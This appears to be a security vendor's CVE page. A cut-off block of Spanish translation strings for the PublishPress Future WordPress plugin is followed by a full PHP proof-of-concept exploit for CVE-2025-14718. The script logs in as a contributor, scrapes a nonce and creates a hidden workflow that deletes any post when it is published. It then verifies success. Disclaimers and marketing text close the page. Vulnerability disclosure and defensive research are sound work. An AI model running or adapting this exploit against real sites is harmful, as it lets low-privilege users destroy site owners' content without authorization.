-Por favor, compruébelas en %s','[PublishPress Future] Past-due Actions Found'=>'[PublishPress Future] Acciones vencidas encontradas','Future Workflow'=>'Flujo de trabajo de Future','Add New'=>'Añadir nuevo','Add New Workflow'=>'Añadir nuevo flujo de trabajo','Edit Workflow'=>'Editar flujo de trabajo','New Workflow'=>'Nuevo flujo de trabajo','View Workflow'=>'Ver flujo de trabajo','Search Workflows'=>'Buscar flujos de trabajos','No Workflows found'=>'No se han encontrado flujos de trabajo','No Workflows found in Trash'=>'No se han encontrado flujos de trabajo en la papelera','Parent Workflow:'=>'Flujo de trabajo principal:','All Workflows'=>'Todos los flujos de trabajos','Workflow Archives'=>'Archivos de flujo de trabajo','Insert into workflow'=>'Insertar en el flujo de trabajo','Uploaded to this workflow'=>'Subido a este flujo de trabajo','Filter workflows list'=>'Filtrar la lista de los flujos de trabajos','Workflows list navigation'=>'Navegación de la lista de flujos de trabajos','Action Workflows list'=>'Lista de los flujos de trabajos de acción','Workflow published.'=>'Flujo de trabajo publicado.','Workflow published privately.'=>'Flujo de trabajo publicado como privado.','Workflow reverted to draft.'=>'Flujo de trabajo revertido a borrador.','Workflow scheduled.'=>'Flujo de trabajo programado.','Workflow updated.'=>'Flujo de trabajo actualizado.','Notify when a post is updated'=>'Avisar cuando una entrada está actualizada','Notify the site admin when a post is updated.'=>'Avisar al administrador del sitio cuando una entrada está actualizada.','Unpublish to Draft after a week'=>'Anular la publicación a «Borrador» después de una semana','Change the post status to Draft a week after it was published.'=>'Cambia el estado de la entrada a «Borrador» una semana después de su publicación.','Unpublish and change category after 15 days'=>'Anular la publicación y cambiar de categoría después de 15 días','Move the post to draft and add a category after 15 days.'=>'Mueve la entrada a borrador y añade una categoría después de 15 días.','Add extra categories one month after publishing'=>'Añade categorías adicionales un mes después de la publicación','Sample workflow to add extra categories one month after publishing'=>'Ejemplo de flujo de trabajo para añadir categorías adicionales un mes después de la publicación','Change status to draft one week after publishing'=>'Cambia el estado a borrador una semana después de la publicación','Sample workflow to change status to draft one week after publishing'=>'Ejemplo de flujo de trabajo para cambiar el estado a borrador una semana después de la publicación','Delete post one week after publishing'=>'Borrar la entrada una semana después de la publicación','Sample workflow to delete post one week after publishing'=>'Ejemplo de flujo de trabajo para borrar la entrada una semana después de la publicación','Remove all categories one week after publishing'=>'Eliminar todas las categorías una semana después de la publicación','Sample workflow to remove all categories one week after publishing'=>'Ejemplo de flujo de trabajo para eliminar todas las categorías una semana después de la publicación','Remove selected categories one week after publishing'=>'Eliminar las categorías seleccionadas una semana después de la publicación','Sample workflow to remove selected categories one week after publishing'=>'Ejemplo de flujo de trabajo para eliminar las categorías seleccionadas una semana después de la publicación','Replace all categories one week after publishing'=>'Reemplazar todas las categorías una semana después de la publicación','Sample workflow to replace all categories one week after publishing'=>'Ejemplo de flujo de trabajo para reemplazar todas las categorías una semana después de la publicación','Stick post one week after publishing'=>'Fijar la entrada una semana después de la publicación','Sample workflow to stick post one week after publishing'=>'Ejemplo de flujo de trabajo para fijar la entrada una semana después de la publicación','Unstick post one week after publishing'=>'No fijar la entrada una semana después de la publicación','Sample workflow to unstick post one week after publishing'=>'Ejemplo de flujo de trabajo para no fijar la entrada una semana después de la publicación','Workflow repeating scheduled step'=>'Paso programado de repetición del flujo de trabajo','Workflow scheduled step'=>'Paso programado del flujo de trabajo','Unschedule workflow recurring scheduled step'=>'Desprograma la acción programada recurrente del flujo de trabajo','Cleanup orphan workflow scheduled step arguments'=>'Limpiar argumentos huérfanos del paso programado del flujo de trabajo','Clean up completed scheduled steps older than %d days'=>'Limpiar pasos programados completados de más de %d días','Successfully executed action: %s'=>'Acción ejecutada correctamente: %s','Executed workflow scheduled step'=>'Paso programado del flujo de trabajo ejecutado','Cleaned up completed scheduled steps older than %d days'=>'Se han limpiado los pasos programados completados de más de %d días','Checked for expired actions'=>'Marcado para acciones caducadas','Cleaned up orphan workflow scheduled step arguments'=>'Se han limpiado los argumentos huérfanos de los pasos programados del flujo de trabajo','Unscheduled workflow recurring scheduled step'=>'Paso programado recurrente de flujo de trabajo no programado','Schedule step is required for this workflow.'=>'El paso «Programar» es obligatorio para este flujo de trabajo.','Workflow:'=>'Flujo de trabajo:','Step:'=>'Paso:','Trigger: '=>'Disparador: ','Post:'=>'Entrada:','Steps:'=>'Pasos:','Workflow recurring scheduled action'=>'Acción programada recurrente de flujo de trabajo','%1$s until %2$s'=>'%1$s hasta %2$s','%1$s for %2$d times'=>'%1$s por %2$d veces','[%1$s/%2$d]'=>'[%1$s/%2$d]','Welcome to the workflow editor'=>'Bienvenido al editor de flujos de trabajo','In the PublishPress Workflow Editor, each workflow step is presented as a distinct 'node' in the workflow.'=>'En el editor de flujo de trabajo de PublishPress, cada paso del flujo de trabajo se presenta como un «nodo» distinto en el flujo de trabajo.','Use your imagination'=>'Usa tu imaginación','You're free to create very distinct workflows in your site, according to your needs.'=>'Eres libre de crear flujos de trabajo muy distintos en tu sitio, según tus necesidades.','A basic workflow'=>'Un flujo de trabajo básico','Every workflow requires at least two steps connected to each other: one trigger and one action.'=>'Todo flujo de trabajo requiere al menos dos pasos conectados entre sí: un disparador y una acción.','Add steps to your workflow'=>'Añadir pasos a tu flujo de trabajo','Drag and drop steps to add them to your workflow. Connect the steps to create a workflow.'=>'Arrastra y suelta los pasos para añadirlos a tu flujo de trabajo. Conecta los pasos para crear un flujo de trabajo.','Output and input'=>'Salida y entrada','Linked steps can pass data forward as input to the next step.'=>'Los pasos enlazados pueden pasar datos como entrada al siguiente paso.','Customize the workflow'=>'Personalizar el flujo de trabajo','Click on a step to customize it. You can change the step's settings in the right sidebar.'=>'Haz clic en un paso para personalizarlo. Puedes cambiar la configuración del paso en la barra lateral derecha.','Workflow validation'=>'Validación del flujo de trabajo','Error messages will appear for any unfilled required settings, missed connections, or invalid values. Select the step to view the corresponding error in the sidebar.'=>'Aparecerán mensajes de error para cualquier ajuste obligatorio sin rellenar, conexiones perdidas o valores no válidos. Selecciona el paso para ver el error correspondiente en la barra lateral.','Publish your workflow'=>'Publica tu flujo de trabajo','When you're ready, click the publish button to make your workflow live.'=>'Cuando estés listo, haz clic en el botón «Publicar» para activar tu flujo de trabajo.','Need help?'=>'¿Necesitas ayuda?','If you have any questions or need help, click the help button in the top right corner to access the support resources.'=>'Si tienes alguna duda o necesitas ayuda, haz clic en el botón de ayuda de la esquina superior derecha para acceder a los recursos de soporte.','Triggers'=>'Disparadores','Deactivate'=>'Desactivar','Activate'=>'Activar','—'=>'—','Cancel all actions scheduled for this workflow'=>'Cancelar todas las acciones programadas para este flujo de trabajo','Cancel Scheduled Actions'=>'Cancelar acciones programadas','Copy this workflow'=>'Copiar este flujo de trabajo','Copy'=>'Copiar','Source workflow not found.'=>'Fuente del flujo de trabajo no encontrada.','Failed to create new workflow.'=>'No se ha podido crear un nuevo flujo de trabajo.','An error occurred while copying the workflow.'=>'Se ha producido un error al copiar el flujo de trabajo.','Error cancelling scheduled actions.'=>'Error al cancelar las acciones programadas.','This workflow doesn't have any scheduled action.'=>'Este flujo de trabajo no tiene ninguna acción programada.','Workflow copied successfully.'=>'Flujo de trabajo copiado correctamente.','Scheduled actions have been cancelled successfully.'=>'Las acciones programadas han sido canceladas correctamente.','Action Workflow Editor'=>'Editor de flujo de trabajo de acciones','%s updated.'=>'%s actualizado.','%1$s restored to revision from %2$s'=>'%1$s restaurada para la revisión desde %2$s','%s published.'=>'%s publicado.','%s saved.'=>'%s guardado.','%s submitted.'=>'%s enviado.','%1$s scheduled for: <strong>%2$s</strong>.'=>'%1$s programado para: <strong>%2$s</strong>.','%s draft updated.'=>'%s borrador actualizado.','Post Query'=>'Consulta de entrada','A query to select posts'=>'Una consulta para seleccionar las entradas','Yes'=>'Sí','No'=>'No','The workflow was not triggered.'=>'El flujo de trabajo no se ha desencadenado.','The workflow was triggered by the legacy action'=>'El flujo de trabajo se desencadenó por la acción heredada','Trigger workflow'=>'Disparar flujo de trabajo','Add post meta'=>'Añadir el meta de la entrada','This step adds post meta to a post.'=>'Este paso añade el meta de la entrada a una entrada.','Target Post'=>'Entrada de destino','Select which post will have post meta added.'=>'Selecciona qué entrada tendrá meta entrada añadida.','Post to Add Meta'=>'Entrada para añadir meta','Choose the post that will have its meta added.'=>'Elige la entrada a la que se añadirá su meta.','Meta'=>'Meta','The meta to add to the post.'=>'El meta para añadir a la entrada.','Is single'=>'Es único','If enabled, only one meta value will be allowed. If disabled, multiple meta values can be added as an array.'=>'Si está activada, solo se permitirá un valor meta. Si se desactiva, se pueden añadir varios valores meta como un array.','Meta key'=>'Clave meta','The meta key to add to the post.'=>'La clave meta para añadir a la entrada.','Meta value'=>'Valor meta','The meta value to add to the post.'=>'El valor meta para añadir a la entrada.','Post'=>'Publicación','Step input'=>'Entrada del paso','The input data for this step.'=>'Los datos de entrada para este paso.','Meta ID'=>'ID meta','The ID of the meta added to the post.'=>'El ID del meta añadido a la entrada.','Next'=>'Siguiente','Add extra terms to post'=>'Añade términos extras a la entrada','This step keeps the current taxonomy terms and adds additional terms.'=>'Este paso mantiene los términos actuales de la taxonomía y añade términos adicionales.','Select which post will have terms added.'=>'Selecciona qué entrada tendrá términos añadidos.','Post to Add Terms'=>'Entrada para añadir términos','Choose the post that will have its terms added.'=>'Elige la entrada a la que se añadirán los términos.','Extra terms'=>'Términos extra','The terms that will be added to the posts.'=>'Los términos que se añadirán a las entradas.','Terms'=>'Términos','Send to debug log'=>'Enviar al registro de depuración','This step transmits the workflow's data to the debug log.'=>'Este paso transmite los datos del flujo de trabajo al registro de depuración.','Debug output'=>'Salida de la depuración','The message to be sent to the debug log.'=>'El mensaje que se enviará al registro de depuración.','Level'=>'Nivel','Debug output > Message'=>'Salida de la depuración > Mensaje','Move post to status'=>'Mover la entrada a estado','This step transitions a post to a different status.'=>'Este paso mueve una entrada a un estado diferente.','Select which post will be moved to a different status.'=>'Selecciona qué entrada se moverá a un estado diferente.','Post to Change Status'=>'Entrada para cambiar estado','Choose the post that will be moved to a different status.'=>'Elige la entrada que se moverá a un estado diferente.','The new status that the post will be moved to.'=>'El nuevo estado al que se moverá la entrada.','Conditional'=>'Condicional','This step allows you to continue the workflow only if certain conditions are met. It is not required to have both a True and a False option.'=>'Este paso te permite continuar el flujo de trabajo solo si se cumplen ciertas condiciones. No es necesario que tenga ambas opciones, «Verdadero» y «Falso».','Condition'=>'Condición','Conditions'=>'Condiciones','The conditions that must be met for deciding which branch to take.'=>'Las condiciones que deben cumplirse para decidir qué rama tomar.','Branch'=>'Rama','Shows which path was taken: 'true' if conditions were met, or 'false' if they weren't.'=>'Muestra qué camino se tomó: «verdadero» si se cumplieron las condiciones, o «falso» si no se cumplieron.','True'=>'Verdadero','False'=>'Falso','Deactivate workflow for post'=>'Desactivar el flujo de trabajo para la entrada','This step enables you to deactivate the "Manually enabled via checkbox" workflow after use.'=>'Este paso te permite desactivar el flujo de trabajo «Activado manualmente mediante casilla de verificación» después del uso.','Select which post will have its workflow deactivated.'=>'Selecciona qué entrada tendrá su flujo de trabajo desactivado.','Post to Deactivate Workflow'=>'Entrada para desactivar el flujo de trabajo','Choose the post that will have its workflow deactivated.'=>'Elige la entrada que tendrá su flujo de trabajo desactivado.','Workflow to Deactivate'=>'Flujo de trabajo para desactivar','Choose the manually enabling workflow that will be deactivated for the selected post.'=>'Elige el flujo de trabajo de activación manual que se desactivará para la entrada seleccionada.','Workflow'=>'Flujo de trabajo','Delete post'=>'Borrar entrada','This step deletes a post.'=>'Este paso borra una entrada.','Select which post will be deleted.'=>'Selecciona qué entrada se borrará.','Post to Delete'=>'Entrada para borrar','Choose the post that will be deleted.'=>'Elige la entrada que será borrada.','Delete post meta'=>'Borrar el meta de la entrada','This step deletes post meta from a post.'=>'Este paso borra el meta de la entrada de una entrada.','Select which post will have post meta deleted.'=>'Selecciona qué entrada tendrá meta entrada borrada.','Post to Delete Meta'=>'Entrada para borrar meta','Choose the post that will have its meta deleted.'=>'Elige la entrada a la que se eliminará su meta.','The meta to delete from the post.'=>'El meta a borrar de la entrada.','The meta key to delete from the post.'=>'La clave meta a borrar de la entrada.','Specify the meta value to delete from the post. If empty, all meta with the same key will be deleted.'=>'Especifica el valor meta a borrar de la entrada. Si está vacío, se borrarán todos los meta con la misma clave.','Do custom action'=>'Ejecutar acción personalizada','This step executes a custom action.'=>'Este paso ejecuta una acción personalizada.','Specify the hook that will trigger this action.'=>'Especifica el gancho que activará esta acción.','Hook'=>'Gancho','The hook that will be executed.'=>'El gancho que se ejecuterá.','Action arguments'=>'Argumentos de acción','The arguments to pass to the action. These arguments will be available as variables in subsequent workflow steps.'=>'Los argumentos que se pasarán a la acción. Estos argumentos estarán disponibles como variables en los pasos sucesivos del flujo de trabajo.','The action hook is required.'=>'El gancho de acción es obligatorio.','The arguments to pass to the action.'=>'Los argumentos que se pasarán a la acción.','Duplicate post'=>'Duplicar entrada','This step duplicates one or more posts.'=>'Este paso duplica una o más entradas.','Select which post will be duplicated.'=>'Selecciona qué entrada se duplicará.','Post to Duplicate'=>'Entrada para duplicar','Choose the post that will be duplicated.'=>'Elige la entrada que será duplicada.','Duplication Options'=>'Opciones de duplicación','Configure how the post should be duplicated.'=>'Configura como la entrada debe ser duplicada.','New post status'=>'Nuevo estado de entrada','The status for the duplicated post.'=>'El estado de la entrada duplicada.','Title prefix'=>'Prefijo del título','Text to add before the original title. Leave empty for no prefix.'=>'Texto que se añadirá antes del título original. Déjalo vacío si no quieres ningún prefijo.','Copy of '=>'Copia de ','Copy Post Meta'=>'Copiar los meta de la entrada','If enabled, all post meta will be copied to the new post.'=>'Si está activada, todos los metadatos de la entrada serán copiados en la nueva entrada.','Copy Post Taxonomies'=>'Copiar las taxonomías de la entrada','If enabled, all post taxonomies will be copied to the new post.'=>'Si está activada, todas las taxonomías de la entrada serán copiadas en la nueva entrada.','Copy Featured Image'=>'Copiar la imagen destacada','If enabled, the featured image will be copied to the new post.'=>'Si está activada, la imagen destacada será copiada en la nueva entrada.','Duplicated post IDs'=>'IDs de las entradas duplicadas','The IDs of the newly created duplicate posts.'=>'Los IDs de las entradas duplicadas recién creadas.','Query posts'=>'Consulta de entradas','This step defines the posts that will be passed to the next step in the workflow.'=>'Este paso define las entradas que se pasarán a la acción siguiente en el flujo de trabajo.','Post query'=>'Consulta de entrada','The query defines the posts that will be retrieved by this action.'=>'La consulta define las entradas que serán recuperadas por esta acción.','Posts from the Query posts step'=>'Entradas del paso «Consulta de entradas»','The posts found following the criteria of the query.'=>'Las entradas encontradas siguiendo los criterios de la consulta.','Remove terms from post'=>'Eliminar los términos de la entrada','This step removes current taxonomy terms.'=>'Este paso elimina los términos actuales de la taxonomía.','Select which post will have terms removed.'=>'Selecciona qué entrada tendrá términos borrados.','Post to Remove Terms'=>'Entrada para eliminar los términos','Choose the post that will have its terms removed.'=>'Elige la entrada a la que se borrarán los términos.','Terms to remove'=>'Términos de eliminar','The terms that will be removed from the posts.'=>'Los términos que se eliminarán de las entradas.','Remove all terms'=>'Eliminar todos los términos','Schedule delay'=>'Retraso en el programa','This step allows you to run the next part of a workflow at a specific time, or relative to another date. You can also use this step to repeat the next part of the workflow.'=>'Este paso te permite ejecutar la siguiente parte de un flujo de trabajo a una hora específica, o relativa a otra fecha. También puedes utilizar este paso para repetir la siguiente parte del flujo de trabajo.','Schedule'=>'Programar','A scheduled delay between steps.'=>'Un retraso programado entre pasos.','When to run'=>'Cuándo ejecutar','Unique ID Expression'=>'Expresión de ID único','Schedule > Unique ID Expression'=>'Programar > Expresión de ID único','Custom date source'=>'Fuente de la fecha personalizada','Schedule > Custom date source'=>'Programar > Fuente de la fecha personalizada','Schedule date'=>'Fecha programada','The date and time when the step will run.'=>'La fecha y hora en que se ejecutará el paso.','Action UID hash'=>'Hash UID de la acción','The unique ID hash of the action that will run.'=>'El hash ID único de la acción que se ejecutará.','Repeat count'=>'Repetir recuento','The number of times the scheduled action has been repeated.'=>'El número de veces que se ha repetido la acción programada.','Repeat limit'=>'Límite de repetición','The maximum number of times the scheduled action will be repeated.'=>'El número máximo de veces que se repetirá la acción programada.','After delay'=>'Después del retraso','After all repetitions'=>'Después de todas las repeticiones','PublishPress Workflow: {{global.workflow.title}}'=>'Flujo de trabajo de PublishPress: {{global.workflow.title}}','This is a message sent by PublishPress Workflow: {{global.workflow.title}}.'=>'Este es un mensaje enviado por el flujo de trabajo de PublishPress: {{global.workflow.title}}.','Send email'=>'Enviar correo electrónico','This step dispatches a message via email.'=>'Este paso envía un mensaje por correo electrónico.','Email Message'=>'Mensaje del correo electrónico','The email message configuration'=>'Configuración del mensaje de correo electrónico','Recipient'=>'Destinatario','A comma-separated list of email addresses to send the message to.'=>'Una lista separada por comas de direcciones de correo electrónico a las que enviar el mensaje.','Subject'=>'Asunto','Email Message > Recipient'=>'Mensaje de correo electrónico > destinatario','Email Message > Subject'=>'Mensaje de correo electrónico > asunto','Email Message > Message'=>'Mensaje de correo electrónico > mensaje','Send in-site notification'=>'Enviar aviso en el sitio','This step dispatches a message to the in-site notification.'=>'Este paso envía un mensaje de aviso en el sitio.','The recipient of the in-site notification.'=>'El destinatario del aviso en el sitio.','Recipients'=>'Destinatarios','A comma-separated list of user names, ids, emails or user roles to send the message to.'=>'Una lista separada por comas de nombres de usuario, ids, direcciones de correo electrónico y perfiles de usuario a las que enviar el mensaje.','Notification type'=>'Tipo de aviso','Info'=>'Información','Success'=>'Correcto','Warning'=>'Advertencia','Recipient > Recipients'=>'Destinatario > Destinatarios','Message > Subject'=>'Mensaje > Asunto','Message > Message'=>'Mensaje > Mensaje','Reading time'=>'Tiempo de lectura','The reading time of the admin notification.'=>'El tiempo de lectura del aviso del administrador.','Read by'=>'Leído por','The user who read the admin notification.'=>'El usuario que ha leído el aviso del administrador.','On dismiss'=>'Al descartar','Send to Ray'=>'Enviar a Ray','This step transmits the workflow's data to Ray (by Spatie).'=>'Este paso transmite los datos del flujo de trabajo a Ray (por Spatie).','The data to be sent to Ray.'=>'Los datos de enviar a Ray.','Data to output'=>'Datos de salida','Label'=>'Etiqueta','Color'=>'Color','Debug output > Custom data > Data to output'=>'Salida de la depuración > Datos personalizados > Datos a la salida','Replace all terms on post'=>'Reemplazar todos los términos en la entrada','This step removes the current taxonomy terms and adds new terms.'=>'Este paso elimina los términos actuales de la taxonomía y añade nuevos términos.','Select which post will have terms replaced.'=>'Selecciona qué entrada tendrá términos reemplazados.','Post to Replace Terms'=>'Entrada para reemplazar los términos','Choose the post that will have its terms replaced.'=>'Elige la entrada a la que se le reemplazarán los términos.','New terms'=>'Nuevos términos','The terms that will be added to the posts after removing all the others.'=>'Los términos que se añadirán a las entradas después de remover los otros.','Stick post'=>'Fijar entrada','This step sticks a post.'=>'Este paso fija una entrada.','Select which post will be marked as sticky.'=>'Selecciona qué entrada se marcará como fija.','Post to Stick'=>'Entrada para fijar','Choose the post that will be marked as sticky. You can select a post variable or enter a post ID.'=>'Elige la entrada que se marcará como fija. Puedes seleccionar una variable de entrada o introducir un ID de entrada.','Unstick post'=>'Desvincular entrada','This step unsticks a post.'=>'Este paso desvincula una entrada.','Select which post will no longer be marked as sticky.'=>'Selecciona qué entrada dejará de estar marcada como fija.','Post to Unstick'=>'Entrada para no fijar','Choose the post that will be unmarked as sticky. You can select a post variable or enter a post ID.'=>'Elige la entrada que se desmarcará como fija. Puedes seleccionar una variable de entrada o introducir un ID de entrada.','Update post details'=>'Actualiza los detalles de la entrada','This step updates key information about each post such as the data, title, content, author, and more.'=>'Este paso actualiza la información clave de cada entrada, como los datos, el título, el contenido, el autor y mucho más.','Select which post will be updated.'=>'Selecciona qué entrada se actualizará.','Post to Update'=>'Entrada para actualizar','Choose the post that will be updated.'=>'Elige la entrada que será actualizada.','Post Data'=>'Datos de la entrada','Select which data should be updated in the post.'=>'Selecciona qué datos deben actualizarse en la entrada.','Post data'=>'Datos de la entrada','The data to update for the post.'=>'Los datos a actualizar para la entrada.','Post title'=>'Título de la entrada','Post data > Post title'=>'Datos de la entrada > Título de la entrada','Post content'=>'Contenido de la entrada','Post data > Post content'=>'Datos de la entrada > Contenido de la entrada','Post excerpt'=>'Extracto de la entrada','Post data > Post excerpt'=>'Datos de la entrada > Extracto de la entrada','Post date'=>'Fecha de la entrada','Post data > Post date'=>'Datos de la entrada > Fecha de la entrada','Post name'=>'Nombre de la entrada','Post data > Post name'=>'Datos de la entrada > Nombre de la entrada','Post password'=>'Contraseña de la entrada','Post data > Post password'=>'Datos de la entrada > Contraseña de la entrada','Updated post'=>'Entrada actualizada','The post data after the update.'=>'Los datos de la entrada después de la actualización.','Update post meta'=>'Actualiza el meta de la entrada','This step updates post meta for a post.'=>'Este paso actualiza el meta de la entrada de una entrada.','Select which post will have post meta updated.'=>'Selecciona qué entrada tendrá meta entrada actualizada.','Post to Update Meta'=>'Entrada para actualizar meta','Choose the post that will have its meta updated.'=>'Elige la entrada que tendrá su meta actualizado.','The meta to update for the post.'=>'El meta a actualizar para la entrada.','The meta key to update for the post.'=>'La clave meta a actualizar para la entrada.','The meta value to update for the post.'=>'El valor meta a actualizar para la entrada.','The ID of the meta updated for the post.'=>'El ID del meta actualizado para la entrada.','User interaction'=>'Interacción del usuario','This step requires user action before the workflow can proceed. The actions are done via the in-site notification area.'=>'Para este paso, es obligatorio que el usuario haga una acción antes de que el flujo de trabajo pueda continuar. Las acciones se hacen a través del área de avisos del sitio.','Responders'=>'Contestadores','Choose which users will see notifications from this action.'=>'Elige cuales usuarios podrán ver los avisos de esta acción.','A comma-separated list of user names, ids, emails or user roles that can interact with this step.'=>'Una lista separada por comas de nombres de usuario, ids, direcciones de correo electrónico y perfiles de usuario que pueden interactuar con este paso.','Specify the message to be displayed to the responders.'=>'Especifica el mensaje qu

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-14718 - Schedule Post Changes With PublishPress Future: Unpublish, Delete, Change Status, Trash, Change Categories <= 4.9.3 - Missing Authorization to Authenticated (Contributor+) Workflow Manipulation

<?php

$target_url = 'http://vulnerable-wordpress-site.com';
$username = 'contributor_user';
$password = 'contributor_password';

// Step 1: Authenticate to WordPress to obtain cookies and nonce
$login_url = $target_url . '/wp-login.php';
$ajax_url = $target_url . '/wp-admin/admin-ajax.php';

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $login_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query([
    'log' => $username,
    'pwd' => $password,
    'wp-submit' => 'Log In',
    'redirect_to' => $target_url . '/wp-admin/',
    'testcookie' => '1'
]));
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_COOKIEJAR, 'cookies.txt');
curl_setopt($ch, CURLOPT_COOKIEFILE, 'cookies.txt');
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
$response = curl_exec($ch);

// Step 2: Fetch the admin page to retrieve a valid nonce for AJAX requests
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/admin.php?page=publishpress-future-workflows');
curl_setopt($ch, CURLOPT_POST, 0);
$admin_page = curl_exec($ch);

// Extract nonce from page (simplified pattern - real extraction may require regex)
preg_match('/"nonce":"([a-f0-9]+)"/', $admin_page, $nonce_matches);
$nonce = $nonce_matches[1] ?? '';

if (empty($nonce)) {
    die('Failed to extract nonce. Ensure the user can access the PublishPress Future workflows page.');
}

// Step 3: Exploit the missing authorization to create a malicious workflow
// This workflow is configured to delete any post when it is published or updated.
$malicious_workflow_payload = [
    'action' => 'publishpressfuture_workflows_save',
    'nonce' => $nonce,
    'title' => 'Malicious Auto-Delete',
    'enabled' => '1',
    'trigger' => 'publish', // Triggers when a post is published or updated
    'steps' => json_encode([
        [
            'type' => 'action',
            'action' => 'delete', // Action to delete the post
            'arguments' => []
        ]
    ])
];

curl_setopt($ch, CURLOPT_URL, $ajax_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($malicious_workflow_payload));
$ajax_response = curl_exec($ch);

echo "Attack Response: " . $ajax_response . "n";

// Step 4: Verify the workflow was created by attempting to list workflows
$list_payload = [
    'action' => 'publishpressfuture_workflows_list',
    'nonce' => $nonce
];

curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($list_payload));
$list_response = curl_exec($ch);

echo "Workflow List Response: " . $list_response . "n";

curl_close($ch);

// If the response contains the malicious workflow title, the exploit was successful.
if (strpos($list_response, 'Malicious Auto-Delete') !== false) {
    echo "SUCCESS: Malicious workflow created by Contributor user.n";
    echo "This workflow will automatically delete any post when published or updated.n";
} else {
    echo "FAIL: Workflow creation may have failed or site is patched.n";
}

?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School